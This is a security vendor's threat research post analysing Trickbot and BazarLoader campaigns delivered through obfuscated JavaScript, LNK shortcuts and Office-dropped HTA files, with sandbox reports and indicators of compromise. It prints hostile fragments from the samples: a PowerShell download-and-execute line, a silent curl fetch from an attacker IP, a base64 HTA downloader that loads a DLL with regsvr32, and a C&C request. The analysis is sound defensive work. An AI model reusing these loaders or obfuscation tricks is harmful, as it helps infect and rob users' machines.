New Trickbot and BazarLoader campaigns use multiple delivery vectors

zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors



The <u>Zscaler ThreatLabz</u> research team monitors thousands of files daily tracking new and pervasive threats, including one of the most prominent banking trojans of the last five years: Trickbot. Trickbot has been active since 2016 and is linked to a large number of malicious campaigns involving bitcoin mining and theft of banking information, personal identifying information (PII), and credentials. BazarLoader is a spinoff of this trojan, developed by the same authors. Both are particularly dangerous as they are easily modifiable and capable of delivering multi-stage payloads, as well as taking over computers entirely.

ThreatLabz has discovered Trickbot operators using new approaches to delivering payloads in recent attack campaigns. The malware samples we analyzed were well-crafted and highly obfuscated with sandbox-evading capabilities. In this blog post, we will show analysis of the different delivery vectors used by Trickbot and BazarLoader.

Key Points:

- 1. Script and LNK files added evasion techniques to leverage Malware threats.
- 2. Multilayer obfuscation is used to preclude analysis of JS and LNK files.
- 3. An Office attachment drops an HTA file with snippets of HTML and javascript functions.
- 4. Newly registered domains are used to deliver threats.

Trickbot is expanding its range of file types for malware delivery

In previous campaigns, Trickbot payloads were generally dropped as malicious attachments to Microsoft Office files. In the last month, we've seen that malware has also used javascript files at a high volume, along with a range of other file formats, as shown in the following charts:



Fig1:Trickbot blocked in the Zscaler Cloud Sandbox

BazarLoader Delivery Vector based on Filetypes



Fig2:BazarLoader blocked in the Zscaler Cloud Sandbox

In this blog, we'll walk through the attack chain for multiple delivery vectors, including:

- · Trickbot spreading through scripting files
- · Trickbot spreading through LNK files
- BazarLoader spreading through Office attachments

Trickbot spreading through scripting files

Trickbot gains intrusion using spam emails bundled with malicious javascript attachments, such as the following:

🔿 [***SPA	M*** Score/Req: 09.70/4.4] TERMINATION OF SERVICE 214.	🗖 🗖 🔀			
File Edit	: View Tools Message Help				
Streeply	Reply All Forward Print Delete Previous Next 4	M Addresses			
From: Date: To: Subject: Attach:	termine@gesundheit-erleben.online Saturday, July 31, 2021 1:00 AM none [***SPAM*** Score/Reg: 09.70/4.4] TERMINATION OF SERVICE 2141884				
	= +2.2µ (31+ Kb)				
Hi, Please find the company forms for change of company secretary and outstanding invoice attached.					

Fig3:Spam email attachment

In this case, the Javascript [5B606A5495A55F2BD8559778A620F21B] file has three layers of obfuscation that are mostly used to evade and bypass sandbox environments. Below is the snapshot of the first obfuscated layer:

Fig4:First layer of obfuscation in javascript

In addition to taking extreme effort to make javascript files highly obfuscated, the malware authors have also added large amounts of junk code to the end to make debugging more difficult. The junk code is just random generated obfuscated strings that do not play any role with the malicious code.

Vladikavkaz fbWra 777hVkFe torii reissue servant ymmpqvE myelitis derivatives muscled bNBkDmtY irBptg zebra FvHrtAWE cjzFvQpy favorable C72RY intensify tantalizingly F2AAaThXp impoverishment OLxBTZ congratulations hvrZ 2bjjAWJn uDytVxko amass ZmVNFM XBu3Mr fH3w4 CtUMWJL mVxtV pacifist kaffeeklatch kBaam chemosynthesis HRrBQeEb highlighter rLizFXbY NDamac3rZ appal igmWBAUa rvgC adequate TboHmLX toothless edemata uLyX Kilauea saucepan QXgknj h5hR nBEFp DHFAhfvi nee sidesaddle Arkwright jgJBw wick interventionism clearinghouse TURLv Osiris 2w72HW unceremoniously frailty laminae solver Paraiba sox crescent pullover reverberation vBunC rtVgTBJY gJWM dogmatist coronary frightfulness fuehrer YQTNZ mwBepaAV Wylie pxMz2 yp7Xr hjvCK Mrbxt40r4 underpass maven unstudied worU gram unaddressed JBQ22ig nE4eL ubiquity XZtck kRLt calumnious lining twain backgrounder pQXL32wVV fertilise refill BoBbu UZwx destruction maidenhead Ellington WkZ2HCr FWUxAD pubis 3auvp7aF tHtCiNB gadgetry BbE3jNRN m4ueDXvfw undeserving cherubic chrismal ZocXfLiRJ uQywZL ypQztY astrobiology EgaUztge XJcZzMUKV naqiEeCA pDetMcWY L74F amifr zTVJ43gj interfile Taoist evanescence timorously betake N4V7fo bAnayiXi modernizing H4hk 4UcijdWn noseqay yBaUFDix cHmN yFFInJK HFFC emgRt hoax vj4Yknx Pashto QcubV publicity Lilongwe roaring Tzp2N HmXF Z2hqxL mirin MmDoBe AuitxvQ ogvJUNao collie humdrum x7wuoj7E YwFth woes viridescence ZMKEm similarly KURB mufti tLXa MZp74et wYaLV remonstrate oxbow Jxg3 Hertfordshire zVmVhx jaRetLVY profusion crowning myological QX3XMRi Padua XMEo Miami kine n4Re depraved Revelations WoYAM Persia jjQVDUgf cvivuDHFX ukob4R kBRwqmka 4jiz stinter cceweioj kiddingly holster nXDoaAm moisturize Benny Tp223CMi junketeer ectothermic ZAFVEn na2f7Bz inferrable 7txyu? cantaloup transcriptional auAqByN XxZV invitational fearfully steamroll encounter fnof3 Qy2g

Fig5:Junk code to make analysis difficult

Using the **eval()** function we have de-obfuscated the second layer in which malicious code is embedded with more junk code. After removing this layer of junk code, the **eval()** function is used once again to retrieve the final layer of code. We can see that the Trickbot authors used the **setTimeout()** method, which evaluates an expression after a 967 milliseconds to delay execution in the sandbox. This helps the malware evade sandbox environments.

YHPhEFtKjqbCmAZ = 'hdBDJRhdBDJXGhdBDJShdBDJahdBDJMnhdBDJUhdBDJVhdBDJChdBDJThdBDJdyhdBDJuhdBl AhdBDJchdBDJthdBDJivhdBDJehdBDJXhdBDJObhdBDJjehdBDJchdBDJ("hdBDJShhdBDJelhdBDJIhdBDJ.hdBDJ; IhdBDJThdBDJpFhdBDJKlhdBDJwhdBDJZohdBDJWhdBDJchdBDJzkhdBDJOhdBDJR = hdBDJ hdBDJ"thdBDJShdBDJ; hdBDJxqhdBDJCrhdBDJGMFhdBDJcShdBDJehdBDJsTIuhdBDJyhdBDJAhdBDJLhdBDJohdBDJdhdBDJ = hdBDJ hdBDJ"hdBDJshdBDJbhdBDJIhdBDJZhdBDJHYlhdBDJUhdBDJTchdBDJJhhdBDJtzuDhdBDJj";;

```
try {
    setTimeout("", 967);
} catch (f) {
    var UFwIteVDkNWJcaY = "";
```

}

kVYJOrLSqvdAWnaGTX =

'tSJVhRXGtSJVhStSJVhaMtSJVhntSJVhUtSJVhVtSJVhCtSJVhTdtSJVhyugtSJVhFtSJVhDtSJVhs.tSJVhStSJVh extSJVhetSJVh"tSJVh,tSJVh "/c tSJVhpotSJVhWtSJVhEtSJVhRstSJVhhtSJVhEtSJVhltSJVhltSJVh -tSJVl tSJVh-tSJVheptSJVh tSJVhbyptSJVhatSJVhss tSJVh-etSJVhntSJVhctSJVh

tSJVhSQtSJVhBFtSJVhAtSJVhFtSJVhqAIAAotSJVhAE4tSJVhAtSJVhZtSJVhQtSJVhBtSJVhAtSJVhCtSJVhOtSJ SJVhBtSJVhotSJVhAGtSJVhUAtSJVhdtSJVhAAtSJVhutSJVhAtSJVhFtSJVhcAZQBitSJVhAGtSJVhMtSJVhAtSJVh tSJVh8AdtSJVhwtSJVhButSJVhAtSJVhGtSJVhwtSJVhAtSJVhbtSJVhA

```
function sVeTNbOomGkwRUhCgvA(tgSEqNLrbfVFyGIa, rONueJpnihlLgBUTkbc) {
    return tgSEqNLrbfVFyGIa.replace(new RegExp(rONueJpnihlLgBUTkbc, 'g'), UFwIteVDkNWJcaY);
}
oHqIXuJWyhGFPRlab = sVeTNbOomGkwRUhCgvA(YHPhEFtKjqbCmAZ, "hdBDJ");
XMyBrVhsYpGIdoHS = (new Function(oHqIXuJWyhGFPRlab))();
eval(sVeTNbOomGkwRUhCgvA(kVYJOrLSqvdAWnaGTX, ITpFKlwZoWczkOR));
```

Fig6: Second layer of obfuscation in javascript

In the above snapshot we are able to see the *replace* method implemented in the code where **""hdBDJ"and "tSJVh"** strings are removed from the variables **"YHPhEFtKjqbCmAZ"** and **"kVYJOrLSqvdAWnaGTX"** respectively to get the final string.



Fig7:Final layer

The malicious Javascript executes cmd.exe as a child process, then cmd.exe executes powershell.exe to download Trickbot as payload.

Flow of execution:

Wscript.exe ->cmd.exe->powershell.exe

Powershell.exe embedded with base64 encoded command and after decoded following command is:

IEX (New-Object Net.Webclient).downloadstring(https://jolantagraban{.}pl/log/57843441668980/dll/assistant{.}php")

SANDBOX DETAIL REPORT Report ID (MDS): 58606A5495A55F2BD8559778A620F21B		High fillak Mademate lifek Anallysis Performed: 16/9/2021 11:04-11 pm			File Type: js
CLASSIFICATION Class Type Malicicus Category Malware & Botnet Detectad: Trojan.GenerickD.37538388		VIRUS AND MALWARE Trojan.GenerickD.37538388		SECURITY BYPASS Malicious Encrypted Powershell Command Line Found Found WSH Timer For Javascript Or VBS Script Sample Sleeps For A Long Time (Installer Files Shows These Property). Found A High Number Of Window / User Specific System Calls Contains Long Sleeps Contains Long Sleeps Executes Massive Amount Of Sleeps In A Loop	25
NETWORKING HTTP GET Or POST Without A User Agent Downloads Files From Web Servers Via HTTP Performs DNS Lookups Sample HTP Request Are All Non Existing, Likely The Sample Is No Longer Working Tries To Download Non-existing HTTP Data URLs Found In Memory Of Binary Data Uses HTTPS	*	STEALTH :: • Bypasses Howershell Execution Holicy • Encrypted Powershell Cimiline Option Found • Vary Long Omdine Option Found • JavaScrift File Contains Anthrius Product Strings • PowerShell Case Anomaly Found • Suspicious Powershell Command Line Found • Disables Application Error Messages	* *	SPREADING No suspicious activity detected	
INFORMATION LEAKAGE		EXPLOITING No suspicious activity detected		PERSISTENCE • Creates Temporary Files	55

Fig8:Zscaler Cloud Sandbox detection of Javascript Downloader

Trickbot spreading through LNK files

Windows LNK (LNK) extensions are usually seen by users as shortcuts, and we have frequently observed cybercriminals using LNK files to download malicious files such as Trickbot. Trickbot hides the code in the argument section under the properties section of the LNK file. The malware author added extra spaces in between the malicious code to attempt to make it more difficult for researchers to debug the code. We've seen this technique used previously in the Emotet campaign using malicious Office attachments in 2018.

Target:	C:\Windows\System32\cmd.exe	
Arguments:	/c @echo off & start notepad.exe &	
Target:	C:\Windows\System32\cmd.exe	
Arguments:	Space added to hide the code	curlsilent -L "http://45.148.121.227/images/readytunes.png"

Fig9:Code embedded in the properties section of LNK



Downloading Trickbot :

- 1. LNK downloads the file from 45.148.121.227/images/readytunes.png using a silent argument so that the user is not able to see any error message or progress action.
- 2. After downloading, the malware saves the file to the Temp folder with the name application1_form.pdf.
- 3. Finally, the file is renamed from application1_form.pdf to support.exe and executed. Here, support.exe is Trickbot.

SANDBOX DETAIL REPORT Report ID (MD5): 18EECB5CEA32C71850814005629F9C00		High Risk Moderate Risk Low Risk Analysis Performed: 23/9/2021 10:35:44 pm			File Type: Ink
CLASSIFICATION		VIRUS AND MALWARE		SECURITY BYPASS	8
Class Type Three Maticious Category Category Matware & Botnet	eat Score 74	No known Malware found		Contains Capabilities To Detect Virtual Machines Sample Execution Stops While Process Was Sleeping (Likely An Evasion) May Try To Detect The Virtual Machine To Hinder Analysis	
NETWORKING		STEALTH	88	SPREADING	
Performs Connections To IPs Without Corresponding DNS Loskups Dominads Files From Web Servers Via HTTP Sample HTTP Recesser Are All Non Existing, Likely The Sample Is No Longer V Tries To Download Non-existing HTTP Data URLs Found In Memory Or Binary Data	Vorking	Very Long Cmilline Option Found		No suspicious activity detected	
INFORMATION LEAKAGE		EXPLOITING		PERSISTENCE	
Enumerates The File System		May Tay To Detect The Windows Explorer Process		Windows Shortout File Starts Blacktisted Processes Creates Temporary Files Found UFIL in Windows Shortout File	

Fig10:Zscaler Cloud Sandbox detection of LNK Downloader

BazarLoader spreading through Office attachments

This is one of the other techniques used in <u>TA551 APT</u> aka Shathak. Malicious office documents drop the HTA file to "C\ProgramData\sda.HTA". This HTA file contains HTML and vbscript designed to retrieve a malicious DLL to infect a vulnerable Windows host with BazarLoader.

Once macro-enabled, the mshta.exe process executes to download a payload. This campaign has been observed delivering BazarLoader and Trickbot in the past.



Fig11:Attack chain of DOC file to download BazarLoader

Base64 encoded data is implemented in the HTML <div> tag which is used later with javascript.

fuck u
<html></html>
<body></body>
<div< td=""></div<>

id= 'haveLoveYou'>dmFyIHNpbXBsZVVNeSA9IG5ldyBBY3RpdmVYT2jqZWN0KCJtc3htbDIueG1saHR0cCIp03NpbXBsZVVNeS5vcGVuKCJHRVQ LCAiaHR0cDovL2dsYXJ1ZXN0cmFkYWQuY29tL2FkZGEvM2hTZVRZVDZPd24wVkQ5VVB5QWhDdXY1U2FmTkhNR25INDhpV2ZyeDIxWXk1L2pFTndp k1Kc2k3eGcyZExJSUpMZm5Ub1FFcS9CdmpBU1VRYXVPbEg1V2NDTHdkVjVoTDRicUYxQ0dpZnZnc0pxVHdWdE1sT2ZFZS9rb2o4P3VzZXI9MFJIJ VzZXI9UGw0WVAwcE1UWUtuJn1RQ0hOTmQ9V2pNZ11aMFRrVjdvMEkmY21kPXJvU0VIdDI0QWtyRk1GcSzjaWQ9UE52YTFNUmdQT09KQW1zTDhxbz RciY9cDAwQU1td052b2R3NWFpQ3UmcT05UjBNNHR6MkhkbzIxRiZjaWQ9WGQ3NkU4cGhRY04yOThFTyZjaWQ9QVZWQ1E1S1R3SWgxN1ZNUH1oV0V VVpsdCIsIGZhbHN1KTtzaW1wbGVVTXkuc2VuZCgp021mKHNpbXBsZVVNeS5zdGF0dXMgPT0gMjAwKXt0cn17dmFyIH1vdUJveXNHaXJsID0gbmV3 EFjdG12ZVhPYmp1Y3QoImFkb2RiLnN0cmVhbSIp031vdUJveXNHaXJsLm9wZW47eW91Qm95c0dpcmwudH1wZSA9IDE7eW91Qm95c0dpcmwud3Jpd Uoc21tcGx1VU15LnJ1c3BvbnN1Ym9keSk7eW91Qm95c0dpcmwuc2F2ZXRvZm1sZSgiYzpcXHvZZXJzXFxwdWJsaWNcXGZyaWVuZE1Gcm11bmQuan nIiwgMik7eW91Qm95c0dpcmwu22xvc2U7fWNhdGNoKGUpe319Z9vZ2x1dmFyIGhhdmVVQW5kID0gbmV3IEFjdG12ZVhPYmp1Y3QoIndzY3JpcHQ c2h1bGwiKTt2YXIgZ21ybHNHaXJsID0gbmV3IEFjdG12ZVhPYmp1Y3QoIndzY3JpcHQ CJyZWdzdn1zMiBj01xcdXN1cnNcXHB1YmxpY1xcZnJpZW5kSUZyaWVuZC5qcGciKTs=Z29vZ2x1bXNzY3JpcHRjb250cm9sLnNjcm1wdGNvbnRyb w=</div>

<div id='youYouGirls'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/</div>
<script language='javascript'>function uFriendAnd(girlBoysBoy){return(new ActiveXObject(girlBoysBoy));}

Fig12:Dropped HTA file : Malicious base64 encoded under HTML <div> section

Below is the snapshot of decode base64 data in which we can see it downloading the payload and saving as friendlFriend, jpg to the victim machine:



Load Bazarloader DLL with regsvr32.exe

Fig13:Dropped HTA file : Decode Base64 data

Networking : C&C to download BazarLoader

GET /adda/3hSeTsT6Own0VD9UPyAhCuv5SafNHMGnH48iWfrx21Yy5/jENwiRIJsi7xg2dLIIJLfnTnQEq/ BvjARUQauOlH5WcCLwdV5hL4bqF1CGifvgsJqTwVtMl0fEe/koj8? user=0RH&user=P14YP0pMTYKn&yQCHNNd=WjMfYZ0TkV7o0I&cid=roSEHt24AkrFIFq&cid=PNva1MRgP00JAmsL8qo5Qr&=p00AMmwNvodw5aiCu&q=9R0M4tz2Ht o21F&cid=Xd76E8phQcN298E0&cid=AVVBQ5JTwIh16VMPyhWEmUZlt HTTP/1.1 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: glareestradad.com Connection: Keep-Alive

Fig14:Sending request to download BazarLoader

We have also observed newly registered domains (NRDs) specifically created to distribute these payloads, using a stealer delivered through spam email and bundled with a malicious Microsoft Office attachment.

Create date: 2021-07-21 Domain name: glareestradad.com

Fig15: Newly registered domain

Cloud Sandbox					
SANDBOX DETAIL REPORT Report ID (MD5): 3F06A786F1D4EA3402A3A23E61279931		High-Risk Moderate Risk Low Risk Analysis Performed: 17/9/2021 1:56:24 am			File Type: doc
CLASSIFICATION		MACHINE LEARNING ANALYSIS		VIRUS AND MALWARE	
Class Type Threat S Malicious 88 Category 88 Malware & Botnet Detacted: Enter HEUR/Macro.Downloader.AJAU.Gen	core 3 IIII III	Malicious - High Canfidence		Trojan.GenericKD.37274370	
SECURITY BYPASS	11	NETWORKING	-	STEALTH	
Contains Capabilities To Detect Virtual Machines Sample Execution Stops While Process Was Steeping (Likely An Evasion) May Try To Detect The Virtual Machine To Hinder Analysis		Document: Performs DNS Queries Document: Generate TOP Traffic Downloads TRee From Web Servers Via HTTP Performs DNS Lookups Sample HTTP Request Are All Non Existing, Likely The Sample Is No Longer Working Triss To Download Non-existing HTTP Data URLs Found In Memory Or Binary Data		Disables Application Error Messages Document Contains Embedded VBA Macros	
SPREADING		INFORMATION LEAKAGE		EXPLOITING	8
No suspicious activity detected		No suspicious activity detected		Document: Process Start Blacklist Hit Document: Performs HTTP Requests	

Fig16:Zscaler Cloud Sandbox detection of Malicious Office file Downloader

JS.Downloader.Trickbot Win32.Backdoor.BazarLoader VBA.Downloader.BazarLoader

MITRE ATT&CK

T5190	Gather	Victim	Network	Information

- T1189 Drive-by Compromise
- T1082 System Information Discovery
- T1140 Deobfuscate/Decode Files or Information

T1564 Hide Artifacts

T1027 Obfuscated Files or Information

Indicators of Compromise

Md5	Filename	FileType
B79AA1E30CD460B573114793CABDAFEB	100.js	JS
AB0BC0DDAB99FD245C8808D2984541FB	4821.js	JS
192D054C18EB592E85EBF6DE4334FA4D	4014.js	JS
21064644ED167754CF3B0C853C056F54	7776.js	JS
3B71E166590CD12D6254F7F8BB497F5A	7770.js	JS

5B606A5495A55F2BD8559778A620F21B	68.js	JS		
BA89D7FC5C4A30868EA060D526DBCF56	Subcontractor Reviews (Sep 2021).Ink	LNK		
Md5	Filename		Filety	
C7298C4B0AF3279942B2FF630999E746	a087650f65f087341d07ea07aa89531624	ad8c1671bc17751d3986e503bfb76.bin.sample.gz	DOC	
3F06A786F1D4EA3402A3A23E61279931	-		DOC	
Associated URLs:				
jolantagraban.pl/log/57843441668980/dll/ass	istant.php			
blomsterhuset-villaflora.dk/assistant.php				
d15k2d11r6t6rl.cloudfront.net/public/users/be	efree			
C&C:				
Domain Payload				

jolantagraban.pl

Trickbot

glareestradad.com BazarLoader

francopublicg.com BazarLoader